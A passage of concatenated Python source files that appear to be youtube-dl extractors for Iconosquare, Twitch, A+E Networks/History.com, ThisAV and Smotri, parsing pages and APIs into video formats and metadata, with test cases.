                    int(filed['bitrate'])
                    if filed['bitrate'].isdigit()
                    else None)

                formats.append({
                    'url': filed['url'],
                    'ext': 'mp4',
                    'tbr': tbr,
                    'format_id': format_id,
                    'quality': get_quality(format_id),
                })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'formats': formats,
            'title': data['title'],
            'thumbnail': data.get('thumb', {}).get('href'),
            'description': data.get('teaser'),
            'duration': data.get('duration'),
            'age_limit': self._family_friendly_search(webpage),
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    get_element_by_id,
    remove_end,
)


class IconosquareIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?(?:iconosquare\.com|statigr\.am)/p/(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://statigr.am/p/522207370455279102_24101272',
        'md5': '6eb93b882a3ded7c378ee1d6884b1814',
        'info_dict': {
            'id': '522207370455279102_24101272',
            'ext': 'mp4',
            'title': 'Instagram photo by @aguynamedpatrick (Patrick Janelle)',
            'description': 'md5:644406a9ec27457ed7aa7a9ebcd4ce3d',
            'timestamp': 1376471991,
            'upload_date': '20130814',
            'uploader': 'aguynamedpatrick',
            'uploader_id': '24101272',
            'comment_count': int,
            'like_count': int,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        media = self._parse_json(
            get_element_by_id('mediaJson', webpage),
            video_id)

        formats = [{
            'url': f['url'],
            'format_id': format_id,
            'width': int_or_none(f.get('width')),
            'height': int_or_none(f.get('height'))
        } for format_id, f in media['videos'].items()]
        self._sort_formats(formats)

        title = remove_end(self._og_search_title(webpage), ' - via Iconosquare')

        timestamp = int_or_none(media.get('created_time') or media.get('caption', {}).get('created_time'))
        description = media.get('caption', {}).get('text')

        uploader = media.get('user', {}).get('username')
        uploader_id = media.get('user', {}).get('id')

        comment_count = int_or_none(media.get('comments', {}).get('count'))
        like_count = int_or_none(media.get('likes', {}).get('count'))

        thumbnails = [{
            'url': t['url'],
            'id': thumbnail_id,
            'width': int_or_none(t.get('width')),
            'height': int_or_none(t.get('height'))
        } for thumbnail_id, t in media.get('images', {}).items()]

        comments = [{
            'id': comment.get('id'),
            'text': comment['text'],
            'timestamp': int_or_none(comment.get('created_time')),
            'author': comment.get('from', {}).get('full_name'),
            'author_id': comment.get('from', {}).get('username'),
        } for comment in media.get('comments', {}).get('data', []) if 'text' in comment]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnails': thumbnails,
            'timestamp': timestamp,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'comment_count': comment_count,
            'like_count': like_count,
            'formats': formats,
            'comments': comments,
        }






# coding: utf-8
from __future__ import unicode_literals

import itertools
import re
import random

from .common import InfoExtractor
from ..compat import (
    compat_HTTPError,
    compat_parse_qs,
    compat_str,
    compat_urllib_parse_urlencode,
    compat_urllib_parse_urlparse,
    compat_urlparse,
)
from ..utils import (
    clean_html,
    ExtractorError,
    int_or_none,
    js_to_json,
    orderedSet,
    parse_duration,
    parse_iso8601,
    urlencode_postdata,
)


class TwitchBaseIE(InfoExtractor):
    _VALID_URL_BASE = r'https?://(?:www\.)?twitch\.tv'

    _API_BASE = 'https://api.twitch.tv'
    _USHER_BASE = 'https://usher.ttvnw.net'
    _LOGIN_URL = 'http://www.twitch.tv/login'
    _NETRC_MACHINE = 'twitch'

    def _handle_error(self, response):
        if not isinstance(response, dict):
            return
        error = response.get('error')
        if error:
            raise ExtractorError(
                '%s returned error: %s - %s' % (self.IE_NAME, error, response.get('message')),
                expected=True)

    def _call_api(self, path, item_id, note):
        headers = {
            'Referer': 'http://api.twitch.tv/crossdomain/receiver.html?v=2',
            'X-Requested-With': 'XMLHttpRequest',
        }
        for cookie in self._downloader.cookiejar:
            if cookie.name == 'api_token':
                headers['Twitch-Api-Token'] = cookie.value
        response = self._download_json(
            '%s/%s' % (self._API_BASE, path), item_id, note)
        self._handle_error(response)
        return response

    def _real_initialize(self):
        self._login()

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        def fail(message):
            raise ExtractorError(
                'Unable to login. Twitch said: %s' % message, expected=True)

        login_page, handle = self._download_webpage_handle(
            self._LOGIN_URL, None, 'Downloading login page')

        # Some TOR nodes and public proxies are blocked completely
        if 'blacklist_message' in login_page:
            fail(clean_html(login_page))

        login_form = self._hidden_inputs(login_page)

        login_form.update({
            'username': username,
            'password': password,
        })

        redirect_url = handle.geturl()

        post_url = self._search_regex(
            r'<form[^>]+action=(["\'])(?P<url>.+?)\1', login_page,
            'post url', default=redirect_url, group='url')

        if not post_url.startswith('http'):
            post_url = compat_urlparse.urljoin(redirect_url, post_url)

        headers = {'Referer': redirect_url}

        try:
            response = self._download_json(
                post_url, None, 'Logging in as %s' % username,
                data=urlencode_postdata(login_form),
                headers=headers)
        except ExtractorError as e:
            if isinstance(e.cause, compat_HTTPError) and e.cause.code == 400:
                response = self._parse_json(
                    e.cause.read().decode('utf-8'), None)
                fail(response['message'])
            raise

        if response.get('redirect'):
            self._download_webpage(
                response['redirect'], None, 'Downloading login redirect page',
                headers=headers)

    def _prefer_source(self, formats):
        try:
            source = next(f for f in formats if f['format_id'] == 'Source')
            source['preference'] = 10
        except StopIteration:
            pass  # No Source stream present
        self._sort_formats(formats)


class TwitchItemBaseIE(TwitchBaseIE):
    def _download_info(self, item, item_id):
        return self._extract_info(self._call_api(
            'kraken/videos/%s%s' % (item, item_id), item_id,
            'Downloading %s info JSON' % self._ITEM_TYPE))

    def _extract_media(self, item_id):
        info = self._download_info(self._ITEM_SHORTCUT, item_id)
        response = self._call_api(
            'api/videos/%s%s' % (self._ITEM_SHORTCUT, item_id), item_id,
            'Downloading %s playlist JSON' % self._ITEM_TYPE)
        entries = []
        chunks = response['chunks']
        qualities = list(chunks.keys())
        for num, fragment in enumerate(zip(*chunks.values()), start=1):
            formats = []
            for fmt_num, fragment_fmt in enumerate(fragment):
                format_id = qualities[fmt_num]
                fmt = {
                    'url': fragment_fmt['url'],
                    'format_id': format_id,
                    'quality': 1 if format_id == 'live' else 0,
                }
                m = re.search(r'^(?P<height>\d+)[Pp]', format_id)
                if m:
                    fmt['height'] = int(m.group('height'))
                formats.append(fmt)
            self._sort_formats(formats)
            entry = dict(info)
            entry['id'] = '%s_%d' % (entry['id'], num)
            entry['title'] = '%s part %d' % (entry['title'], num)
            entry['formats'] = formats
            entries.append(entry)
        return self.playlist_result(entries, info['id'], info['title'])

    def _extract_info(self, info):
        return {
            'id': info['_id'],
            'title': info.get('title') or 'Untitled Broadcast',
            'description': info.get('description'),
            'duration': int_or_none(info.get('length')),
            'thumbnail': info.get('preview'),
            'uploader': info.get('channel', {}).get('display_name'),
            'uploader_id': info.get('channel', {}).get('name'),
            'timestamp': parse_iso8601(info.get('recorded_at')),
            'view_count': int_or_none(info.get('views')),
        }

    def _real_extract(self, url):
        return self._extract_media(self._match_id(url))


class TwitchVideoIE(TwitchItemBaseIE):
    IE_NAME = 'twitch:video'
    _VALID_URL = r'%s/[^/]+/b/(?P<id>\d+)' % TwitchBaseIE._VALID_URL_BASE
    _ITEM_TYPE = 'video'
    _ITEM_SHORTCUT = 'a'

    _TEST = {
        'url': 'http://www.twitch.tv/riotgames/b/577357806',
        'info_dict': {
            'id': 'a577357806',
            'title': 'Worlds Semifinals - Star Horn Royal Club vs. OMG',
        },
        'playlist_mincount': 12,
        'skip': 'HTTP Error 404: Not Found',
    }


class TwitchChapterIE(TwitchItemBaseIE):
    IE_NAME = 'twitch:chapter'
    _VALID_URL = r'%s/[^/]+/c/(?P<id>\d+)' % TwitchBaseIE._VALID_URL_BASE
    _ITEM_TYPE = 'chapter'
    _ITEM_SHORTCUT = 'c'

    _TESTS = [{
        'url': 'http://www.twitch.tv/acracingleague/c/5285812',
        'info_dict': {
            'id': 'c5285812',
            'title': 'ACRL Off Season - Sports Cars @ Nordschleife',
        },
        'playlist_mincount': 3,
        'skip': 'HTTP Error 404: Not Found',
    }, {
        'url': 'http://www.twitch.tv/tsm_theoddone/c/2349361',
        'only_matching': True,
    }]


class TwitchVodIE(TwitchItemBaseIE):
    IE_NAME = 'twitch:vod'
    _VALID_URL = r'%s/[^/]+/v/(?P<id>\d+)' % TwitchBaseIE._VALID_URL_BASE
    _ITEM_TYPE = 'vod'
    _ITEM_SHORTCUT = 'v'

    _TESTS = [{
        'url': 'http://www.twitch.tv/riotgames/v/6528877?t=5m10s',
        'info_dict': {
            'id': 'v6528877',
            'ext': 'mp4',
            'title': 'LCK Summer Split - Week 6 Day 1',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 17208,
            'timestamp': 1435131709,
            'upload_date': '20150624',
            'uploader': 'Riot Games',
            'uploader_id': 'riotgames',
            'view_count': int,
            'start_time': 310,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        # Untitled broadcast (title is None)
        'url': 'http://www.twitch.tv/belkao_o/v/11230755',
        'info_dict': {
            'id': 'v11230755',
            'ext': 'mp4',
            'title': 'Untitled Broadcast',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 1638,
            'timestamp': 1439746708,
            'upload_date': '20150816',
            'uploader': 'BelkAO_o',
            'uploader_id': 'belkao_o',
            'view_count': int,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        item_id = self._match_id(url)

        info = self._download_info(self._ITEM_SHORTCUT, item_id)
        access_token = self._call_api(
            'api/vods/%s/access_token' % item_id, item_id,
            'Downloading %s access token' % self._ITEM_TYPE)

        formats = self._extract_m3u8_formats(
            '%s/vod/%s?%s' % (
                self._USHER_BASE, item_id,
                compat_urllib_parse_urlencode({
                    'allow_source': 'true',
                    'allow_audio_only': 'true',
                    'allow_spectre': 'true',
                    'player': 'twitchweb',
                    'nauth': access_token['token'],
                    'nauthsig': access_token['sig'],
                })),
            item_id, 'mp4', entry_protocol='m3u8_native')

        self._prefer_source(formats)
        info['formats'] = formats

        parsed_url = compat_urllib_parse_urlparse(url)
        query = compat_parse_qs(parsed_url.query)
        if 't' in query:
            info['start_time'] = parse_duration(query['t'][0])

        return info


class TwitchPlaylistBaseIE(TwitchBaseIE):
    _PLAYLIST_PATH = 'kraken/channels/%s/videos/?offset=%d&limit=%d'
    _PAGE_LIMIT = 100

    def _extract_playlist(self, channel_id):
        info = self._call_api(
            'kraken/channels/%s' % channel_id,
            channel_id, 'Downloading channel info JSON')
        channel_name = info.get('display_name') or info.get('name')
        entries = []
        offset = 0
        limit = self._PAGE_LIMIT
        broken_paging_detected = False
        counter_override = None
        for counter in itertools.count(1):
            response = self._call_api(
                self._PLAYLIST_PATH % (channel_id, offset, limit),
                channel_id,
                'Downloading %s videos JSON page %s'
                % (self._PLAYLIST_TYPE, counter_override or counter))
            page_entries = self._extract_playlist_page(response)
            if not page_entries:
                break
            total = int_or_none(response.get('_total'))
            # Since the beginning of March 2016 twitch's paging mechanism
            # is completely broken on the twitch side. It simply ignores
            # a limit and returns the whole offset number of videos.
            # Working around by just requesting all videos at once.
            # Upd: pagination bug was fixed by twitch on 15.03.2016.
            if not broken_paging_detected and total and len(page_entries) > limit:
                self.report_warning(
                    'Twitch pagination is broken on twitch side, requesting all videos at once',
                    channel_id)
                broken_paging_detected = True
                offset = total
                counter_override = '(all at once)'
                continue
            entries.extend(page_entries)
            if broken_paging_detected or total and len(page_entries) >= total:
                break
            offset += limit
        return self.playlist_result(
            [self.url_result(entry) for entry in orderedSet(entries)],
            channel_id, channel_name)

    def _extract_playlist_page(self, response):
        videos = response.get('videos')
        return [video['url'] for video in videos] if videos else []

    def _real_extract(self, url):
        return self._extract_playlist(self._match_id(url))


class TwitchProfileIE(TwitchPlaylistBaseIE):
    IE_NAME = 'twitch:profile'
    _VALID_URL = r'%s/(?P<id>[^/]+)/profile/?(?:\#.*)?$' % TwitchBaseIE._VALID_URL_BASE
    _PLAYLIST_TYPE = 'profile'

    _TEST = {
        'url': 'http://www.twitch.tv/vanillatv/profile',
        'info_dict': {
            'id': 'vanillatv',
            'title': 'VanillaTV',
        },
        'playlist_mincount': 412,
    }


class TwitchPastBroadcastsIE(TwitchPlaylistBaseIE):
    IE_NAME = 'twitch:past_broadcasts'
    _VALID_URL = r'%s/(?P<id>[^/]+)/profile/past_broadcasts/?(?:\#.*)?$' % TwitchBaseIE._VALID_URL_BASE
    _PLAYLIST_PATH = TwitchPlaylistBaseIE._PLAYLIST_PATH + '&broadcasts=true'
    _PLAYLIST_TYPE = 'past broadcasts'

    _TEST = {
        'url': 'http://www.twitch.tv/spamfish/profile/past_broadcasts',
        'info_dict': {
            'id': 'spamfish',
            'title': 'Spamfish',
        },
        'playlist_mincount': 54,
    }


class TwitchStreamIE(TwitchBaseIE):
    IE_NAME = 'twitch:stream'
    _VALID_URL = r'%s/(?P<id>[^/#?]+)/?(?:\#.*)?$' % TwitchBaseIE._VALID_URL_BASE

    _TESTS = [{
        'url': 'http://www.twitch.tv/shroomztv',
        'info_dict': {
            'id': '12772022048',
            'display_id': 'shroomztv',
            'ext': 'mp4',
            'title': 're:^ShroomzTV [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
            'description': 'H1Z1 - lonewolfing with ShroomzTV | A3 Battle Royale later - @ShroomzTV',
            'is_live': True,
            'timestamp': 1421928037,
            'upload_date': '20150122',
            'uploader': 'ShroomzTV',
            'uploader_id': 'shroomztv',
            'view_count': int,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.twitch.tv/miracle_doto#profile-0',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        channel_id = self._match_id(url)

        stream = self._call_api(
            'kraken/streams/%s' % channel_id, channel_id,
            'Downloading stream JSON').get('stream')

        # Fallback on profile extraction if stream is offline
        if not stream:
            return self.url_result(
                'http://www.twitch.tv/%s/profile' % channel_id,
                'TwitchProfile', channel_id)

        # Channel name may be typed if different case than the original channel name
        # (e.g. http://www.twitch.tv/TWITCHPLAYSPOKEMON) that will lead to constructing
        # an invalid m3u8 URL. Working around by use of original channel name from stream
        # JSON and fallback to lowercase if it's not available.
        channel_id = stream.get('channel', {}).get('name') or channel_id.lower()

        access_token = self._call_api(
            'api/channels/%s/access_token' % channel_id, channel_id,
            'Downloading channel access token')

        query = {
            'allow_source': 'true',
            'allow_audio_only': 'true',
            'p': random.randint(1000000, 10000000),
            'player': 'twitchweb',
            'segment_preference': '4',
            'sig': access_token['sig'].encode('utf-8'),
            'token': access_token['token'].encode('utf-8'),
        }
        formats = self._extract_m3u8_formats(
            '%s/api/channel/hls/%s.m3u8?%s'
            % (self._USHER_BASE, channel_id, compat_urllib_parse_urlencode(query)),
            channel_id, 'mp4')
        self._prefer_source(formats)

        view_count = stream.get('viewers')
        timestamp = parse_iso8601(stream.get('created_at'))

        channel = stream['channel']
        title = self._live_title(channel.get('display_name') or channel.get('name'))
        description = channel.get('status')

        thumbnails = []
        for thumbnail_key, thumbnail_url in stream['preview'].items():
            m = re.search(r'(?P<width>\d+)x(?P<height>\d+)\.jpg$', thumbnail_key)
            if not m:
                continue
            thumbnails.append({
                'url': thumbnail_url,
                'width': int(m.group('width')),
                'height': int(m.group('height')),
            })

        return {
            'id': compat_str(stream['_id']),
            'display_id': channel_id,
            'title': title,
            'description': description,
            'thumbnails': thumbnails,
            'uploader': channel.get('display_name'),
            'uploader_id': channel.get('name'),
            'timestamp': timestamp,
            'view_count': view_count,
            'formats': formats,
            'is_live': True,
        }


class TwitchClipsIE(InfoExtractor):
    IE_NAME = 'twitch:clips'
    _VALID_URL = r'https?://clips\.twitch\.tv/(?:[^/]+/)*(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'https://clips.twitch.tv/ea/AggressiveCobraPoooound',
        'md5': '761769e1eafce0ffebfb4089cb3847cd',
        'info_dict': {
            'id': 'AggressiveCobraPoooound',
            'ext': 'mp4',
            'title': 'EA Play 2016 Live from the Novo Theatre',
            'thumbnail': 're:^https?://.*\.jpg',
            'creator': 'EA',
            'uploader': 'stereotype_',
            'uploader_id': 'stereotype_',
        },
    }, {
        # multiple formats
        'url': 'https://clips.twitch.tv/rflegendary/UninterestedBeeDAESuppy',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        clip = self._parse_json(
            self._search_regex(
                r'(?s)clipInfo\s*=\s*({.+?});', webpage, 'clip info'),
            video_id, transform_source=js_to_json)

        title = clip.get('channel_title') or self._og_search_title(webpage)

        formats = [{
            'url': option['source'],
            'format_id': option.get('quality'),
            'height': int_or_none(option.get('quality')),
        } for option in clip.get('quality_options', []) if option.get('source')]

        if not formats:
            formats = [{
                'url': clip['clip_video_url'],
            }]

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': self._og_search_thumbnail(webpage),
            'creator': clip.get('broadcaster_display_name') or clip.get('broadcaster_login'),
            'uploader': clip.get('curator_login'),
            'uploader_id': clip.get('curator_display_name'),
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .theplatform import ThePlatformIE
from ..utils import (
    smuggle_url,
    update_url_query,
    unescapeHTML,
    extract_attributes,
    get_element_by_attribute,
)
from ..compat import (
    compat_urlparse,
)


class AENetworksBaseIE(ThePlatformIE):
    _THEPLATFORM_KEY = 'crazyjava'
    _THEPLATFORM_SECRET = 's3cr3t'


class AENetworksIE(AENetworksBaseIE):
    IE_NAME = 'aenetworks'
    IE_DESC = 'A+E Networks: A&E, Lifetime, History.com, FYI Network'
    _VALID_URL = r'https?://(?:www\.)?(?P<domain>(?:history|aetv|mylifetime)\.com|fyi\.tv)/(?:shows/(?P<show_path>[^/]+(?:/[^/]+){0,2})|movies/(?P<movie_display_id>[^/]+)/full-movie)'
    _TESTS = [{
        'url': 'http://www.history.com/shows/mountain-men/season-1/episode-1',
        'md5': '8ff93eb073449f151d6b90c0ae1ef0c7',
        'info_dict': {
            'id': '22253814',
            'ext': 'mp4',
            'title': 'Winter Is Coming',
            'description': 'md5:641f424b7a19d8e24f26dea22cf59d74',
            'timestamp': 1338306241,
            'upload_date': '20120529',
            'uploader': 'AENE-NEW',
        },
        'add_ie': ['ThePlatform'],
    }, {
        'url': 'http://www.history.com/shows/ancient-aliens/season-1',
        'info_dict': {
            'id': '71889446852',
        },
        'playlist_mincount': 5,
    }, {
        'url': 'http://www.mylifetime.com/shows/atlanta-plastic',
        'info_dict': {
            'id': 'SERIES4317',
            'title': 'Atlanta Plastic',
        },
        'playlist_mincount': 2,
    }, {
        'url': 'http://www.aetv.com/shows/duck-dynasty/season-9/episode-1',
        'only_matching': True
    }, {
        'url': 'http://www.fyi.tv/shows/tiny-house-nation/season-1/episode-8',
        'only_matching': True
    }, {
        'url': 'http://www.mylifetime.com/shows/project-runway-junior/season-1/episode-6',
        'only_matching': True
    }, {
        'url': 'http://www.mylifetime.com/movies/center-stage-on-pointe/full-movie',
        'only_matching': True
    }]
    _DOMAIN_TO_REQUESTOR_ID = {
        'history.com': 'HISTORY',
        'aetv.com': 'AETV',
        'mylifetime.com': 'LIFETIME',
        'fyi.tv': 'FYI',
    }

    def _real_extract(self, url):
        domain, show_path, movie_display_id = re.match(self._VALID_URL, url).groups()
        display_id = show_path or movie_display_id
        webpage = self._download_webpage(url, display_id)
        if show_path:
            url_parts = show_path.split('/')
            url_parts_len = len(url_parts)
            if url_parts_len == 1:
                entries = []
                for season_url_path in re.findall(r'(?s)<li[^>]+data-href="(/shows/%s/season-\d+)"' % url_parts[0], webpage):
                    entries.append(self.url_result(
                        compat_urlparse.urljoin(url, season_url_path), 'AENetworks'))
                return self.playlist_result(
                    entries, self._html_search_meta('aetn:SeriesId', webpage),
                    self._html_search_meta('aetn:SeriesTitle', webpage))
            elif url_parts_len == 2:
                entries = []
                for episode_item in re.findall(r'(?s)<div[^>]+class="[^"]*episode-item[^"]*"[^>]*>', webpage):
                    episode_attributes = extract_attributes(episode_item)
                    episode_url = compat_urlparse.urljoin(
                        url, episode_attributes['data-canonical'])
                    entries.append(self.url_result(
                        episode_url, 'AENetworks',
                        episode_attributes['data-videoid']))
                return self.playlist_result(
                    entries, self._html_search_meta('aetn:SeasonId', webpage))

        query = {
            'mbr': 'true',
            'assetTypes': 'medium_video_s3'
        }
        video_id = self._html_search_meta('aetn:VideoID', webpage)
        media_url = self._search_regex(
            r"media_url\s*=\s*'([^']+)'", webpage, 'video url')
        theplatform_metadata = self._download_theplatform_metadata(self._search_regex(
            r'https?://link.theplatform.com/s/([^?]+)', media_url, 'theplatform_path'), video_id)
        info = self._parse_theplatform_metadata(theplatform_metadata)
        if theplatform_metadata.get('AETN$isBehindWall'):
            requestor_id = self._DOMAIN_TO_REQUESTOR_ID[domain]
            resource = self._get_mvpd_resource(
                requestor_id, theplatform_metadata['title'],
                theplatform_metadata.get('AETN$PPL_pplProgramId') or theplatform_metadata.get('AETN$PPL_pplProgramId_OLD'),
                theplatform_metadata['ratings'][0]['rating'])
            query['auth'] = self._extract_mvpd_auth(
                url, video_id, requestor_id, resource)
        info.update(self._search_json_ld(webpage, video_id, fatal=False))
        media_url = update_url_query(media_url, query)
        media_url = self._sign_url(media_url, self._THEPLATFORM_KEY, self._THEPLATFORM_SECRET)
        formats, subtitles = self._extract_theplatform_smil(media_url, video_id)
        self._sort_formats(formats)
        info.update({
            'id': video_id,
            'formats': formats,
            'subtitles': subtitles,
        })
        return info


class HistoryTopicIE(AENetworksBaseIE):
    IE_NAME = 'history:topic'
    IE_DESC = 'History.com Topic'
    _VALID_URL = r'https?://(?:www\.)?history\.com/topics/(?:[^/]+/)?(?P<topic_id>[^/]+)(?:/[^/]+(?:/(?P<video_display_id>[^/?#]+))?)?'
    _TESTS = [{
        'url': 'http://www.history.com/topics/valentines-day/history-of-valentines-day/videos/bet-you-didnt-know-valentines-day?m=528e394da93ae&s=undefined&f=1&free=false',
        'info_dict': {
            'id': '40700995724',
            'ext': 'mp4',
            'title': "Bet You Didn't Know: Valentine's Day",
            'description': 'md5:7b57ea4829b391995b405fa60bd7b5f7',
            'timestamp': 1375819729,
            'upload_date': '20130806',
            'uploader': 'AENE-NEW',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'add_ie': ['ThePlatform'],
    }, {
        'url': 'http://www.history.com/topics/world-war-i/world-war-i-history/videos',
        'info_dict':
        {
            'id': 'world-war-i-history',
            'title': 'World War I History',
        },
        'playlist_mincount': 24,
    }, {
        'url': 'http://www.history.com/topics/world-war-i-history/videos',
        'only_matching': True,
    }, {
        'url': 'http://www.history.com/topics/world-war-i/world-war-i-history',
        'only_matching': True,
    }, {
        'url': 'http://www.history.com/topics/world-war-i/world-war-i-history/speeches',
        'only_matching': True,
    }]

    def theplatform_url_result(self, theplatform_url, video_id, query):
        return {
            '_type': 'url_transparent',
            'id': video_id,
            'url': smuggle_url(
                update_url_query(theplatform_url, query),
                {
                    'sig': {
                        'key': self._THEPLATFORM_KEY,
                        'secret': self._THEPLATFORM_SECRET,
                    },
                    'force_smil_url': True
                }),
            'ie_key': 'ThePlatform',
        }

    def _real_extract(self, url):
        topic_id, video_display_id = re.match(self._VALID_URL, url).groups()
        if video_display_id:
            webpage = self._download_webpage(url, video_display_id)
            release_url, video_id = re.search(r"_videoPlayer.play\('([^']+)'\s*,\s*'[^']+'\s*,\s*'(\d+)'\)", webpage).groups()
            release_url = unescapeHTML(release_url)

            return self.theplatform_url_result(
                release_url, video_id, {
                    'mbr': 'true',
                    'switch': 'hls'
                })
        else:
            webpage = self._download_webpage(url, topic_id)
            entries = []
            for episode_item in re.findall(r'<a.+?data-release-url="[^"]+"[^>]*>', webpage):
                video_attributes = extract_attributes(episode_item)
                entries.append(self.theplatform_url_result(
                    video_attributes['data-release-url'], video_attributes['data-id'], {
                        'mbr': 'true',
                        'switch': 'hls'
                    }))
            return self.playlist_result(entries, topic_id, get_element_by_attribute('class', 'show-title', webpage))






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import determine_ext


class ThisAVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?thisav\.com/video/(?P<id>[0-9]+)/.*'
    _TEST = {
        'url': 'http://www.thisav.com/video/47734/%98%26sup1%3B%83%9E%83%82---just-fit.html',
        'md5': '0480f1ef3932d901f0e0e719f188f19b',
        'info_dict': {
            'id': '47734',
            'ext': 'flv',
            'title': '高樹マリア - Just fit',
            'uploader': 'dj7970',
            'uploader_id': 'dj7970'
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        video_id = mobj.group('id')
        webpage = self._download_webpage(url, video_id)
        title = self._html_search_regex(r'<h1>([^<]*)</h1>', webpage, 'title')
        video_url = self._html_search_regex(
            r"addVariable\('file','([^']+)'\);", webpage, 'video url')
        uploader = self._html_search_regex(
            r': <a href="http://www.thisav.com/user/[0-9]+/(?:[^"]+)">([^<]+)</a>',
            webpage, 'uploader name', fatal=False)
        uploader_id = self._html_search_regex(
            r': <a href="http://www.thisav.com/user/[0-9]+/([^"]+)">(?:[^<]+)</a>',
            webpage, 'uploader id', fatal=False)
        ext = determine_ext(video_url)

        return {
            'id': video_id,
            'url': video_url,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'title': title,
            'ext': ext,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re
import json
import hashlib
import uuid

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    sanitized_Request,
    unified_strdate,
    urlencode_postdata,
    xpath_text,
)


class SmotriIE(InfoExtractor):
    IE_DESC = 'Smotri.com'
    IE_NAME = 'smotri'
    _VALID_URL = r'https?://(?:www\.)?(?:smotri\.com/video/view/\?id=|pics\.smotri\.com/(?:player|scrubber_custom8)\.swf\?file=)(?P<id>v(?P<realvideoid>[0-9]+)[a-z0-9]{4})'
    _NETRC_MACHINE = 'smotri'

    _TESTS = [
        # real video id 2610366
        {
            'url': 'http://smotri.com/video/view/?id=v261036632ab',
            'md5': '02c0dfab2102984e9c5bb585cc7cc321',
            'info_dict': {
                'id': 'v261036632ab',
                'ext': 'mp4',
                'title': 'катастрофа с камер видеонаблюдения',
                'uploader': 'rbc2008',
                'uploader_id': 'rbc08',
                'upload_date': '20131118',
                'thumbnail': 'http://frame6.loadup.ru/8b/a9/2610366.3.3.jpg',
            },
        },
        # real video id 57591
        {
            'url': 'http://smotri.com/video/view/?id=v57591cb20',
            'md5': '830266dfc21f077eac5afd1883091bcd',
            'info_dict': {
                'id': 'v57591cb20',
                'ext': 'flv',
                'title': 'test',
                'uploader': 'Support Photofile@photofile',
                'uploader_id': 'support-photofile',
                'upload_date': '20070704',
                'thumbnail': 'http://frame4.loadup.ru/03/ed/57591.2.3.jpg',
            },
        },
        # video-password, not approved by moderator
        {
            'url': 'http://smotri.com/video/view/?id=v1390466a13c',
            'md5': 'f6331cef33cad65a0815ee482a54440b',
            'info_dict': {
                'id': 'v1390466a13c',
                'ext': 'mp4',
                'title': 'TOCCA_A_NOI_-_LE_COSE_NON_VANNO_CAMBIAMOLE_ORA-1',
                'uploader': 'timoxa40',
                'uploader_id': 'timoxa40',
                'upload_date': '20100404',
                'thumbnail': 'http://frame7.loadup.ru/af/3f/1390466.3.3.jpg',
            },
            'params': {
                'videopassword': 'qwerty',
            },
            'skip': 'Video is not approved by moderator',
        },
        # video-password
        {
            'url': 'http://smotri.com/video/view/?id=v6984858774#',
            'md5': 'f11e01d13ac676370fc3b95b9bda11b0',
            'info_dict': {
                'id': 'v6984858774',
                'ext': 'mp4',
                'title': 'Дача Солженицина ПАРОЛЬ 223322',
                'uploader': 'psavari1',
                'uploader_id': 'psavari1',
                'upload_date': '20081103',
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'params': {
                'videopassword': '223322',
            },
        },
        # age limit + video-password, not approved by moderator
        {
            'url': 'http://smotri.com/video/view/?id=v15408898bcf',
            'md5': '91e909c9f0521adf5ee86fbe073aad70',
            'info_dict': {
                'id': 'v15408898bcf',
                'ext': 'flv',
                'title': 'этот ролик не покажут по ТВ',
                'uploader': 'zzxxx',
                'uploader_id': 'ueggb',
                'upload_date': '20101001',
                'thumbnail': 'http://frame3.loadup.ru/75/75/1540889.1.3.jpg',
                'age_limit': 18,
            },
            'params': {
                'videopassword': '333'
            },
            'skip': 'Video is not approved by moderator',
        },
        # age limit + video-password
        {
            'url': 'http://smotri.com/video/view/?id=v7780025814',
            'md5': 'b4599b068422559374a59300c5337d72',
            'info_dict': {
                'id': 'v7780025814',
                'ext': 'mp4',
                'title': 'Sexy Beach (пароль 123)',
                'uploader': 'вАся',
                'uploader_id': 'asya_prosto',
                'upload_date': '20081218',
                'thumbnail': 're:^https?://.*\.jpg$',
                'age_limit': 18,
            },
            'params': {
                'videopassword': '123'
            },
        },
        # swf player
        {
            'url': 'http://pics.smotri.com/scrubber_custom8.swf?file=v9188090500',
            'md5': '31099eeb4bc906712c5f40092045108d',
            'info_dict': {
                'id': 'v9188090500',
                'ext': 'mp4',
                'title': 'Shakira - Don\'t Bother',
                'uploader': 'HannahL',
                'uploader_id': 'lisaha95',
                'upload_date': '20090331',
                'thumbnail': 'http://frame8.loadup.ru/44/0b/918809.7.3.jpg',
            },
        },
    ]

    @classmethod
    def _extract_url(cls, webpage):
        mobj = re.search(
            r'<embed[^>]src=(["\'])(?P<url>http://pics\.smotri\.com/(?:player|scrubber_custom8)\.swf\?file=v.+?\1)',
            webpage)
        if mobj is not None:
            return mobj.group('url')

        mobj = re.search(
            r'''(?x)<div\s+class="video_file">http://smotri\.com/video/download/file/[^<]+</div>\s*
                    <div\s+class="video_image">[^<]+</div>\s*
